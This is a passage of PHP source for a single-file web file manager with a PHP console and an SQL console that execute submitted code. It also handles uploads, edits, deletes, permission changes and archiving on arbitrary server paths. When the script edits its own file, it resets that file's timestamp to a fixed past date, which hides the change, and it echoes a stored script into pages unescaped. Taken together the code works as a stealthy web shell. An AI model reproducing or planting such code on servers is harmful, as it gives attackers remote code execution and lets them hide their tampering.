	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
